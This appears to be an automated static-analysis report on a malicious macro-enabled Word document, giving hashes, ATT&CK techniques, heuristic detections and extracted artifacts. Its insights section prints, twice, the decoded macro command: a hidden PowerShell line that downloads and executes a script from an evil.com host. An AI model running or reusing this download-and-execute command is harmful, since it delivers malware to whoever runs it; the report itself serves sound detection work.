Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 f604ca55de802f33…

MALICIOUS

Office (OOXML) / .DOC

42.4 KB Created: 2021-12-15 09:05:00 UTC Authoring application: Microsoft Office Word 16.0000
MD5: 5743e3edb2bf64fe08e5e9a6ea24cd7e SHA-1: 4bd0151fa9520c9886f7d7a250596687b52bfa81 SHA-256: f604ca55de802f334064610d65e23890ab81906cdac3f8a5c7c25126176289c8
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen function, which is a common technique for executing malicious code upon document opening. The script utilizes GetObject to execute a command, reconstructing the string 'cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.ps1\')"' which indicates it downloads and executes a second-stage payload. The reconstructed command 'cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.ps1\')"' is a critical indicator of this behavior.

Heuristics 5

  • ClamAV: Doc.Downloader.BlueWord12210-9915312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueWord12210-9915312-0
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
    • http://schemas.microsoft.com/office/drawing/2014/chartex
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/math
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
    • http://schemas.openxmlformats.org/wordprocessingml/2006/main
    • http://schemas.microsoft.com/office/word/2010/wordml
    • http://schemas.microsoft.com/office/word/2012/wordml
    • http://schemas.microsoft.com/office/word/2015/wordml/symex
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInk
    • http://schemas.microsoft.com/office/word/2006/wordml
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShape
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#
    • http://ns.adobe.com/xap/1.0/
    • http://purl.org/dc/elements/1.1/
    • http://ns.adobe.com/photoshop/1.0/
    • http://ns.adobe.com/xap/1.0/mm/
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#
    • http://ns.adobe.com/tiff/1.0/
    • http://ns.adobe.com/exif/1.0/

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
9edf1529f442419025be6c101dc00de5798ae26da522712c286be8c06ee32e94
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 908 bytes
vbaProject_00.bin
fc2abfae9288ea7ef2cb2b9643b3d5462d6746c4401d8309eb06f57e56e08c94
vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes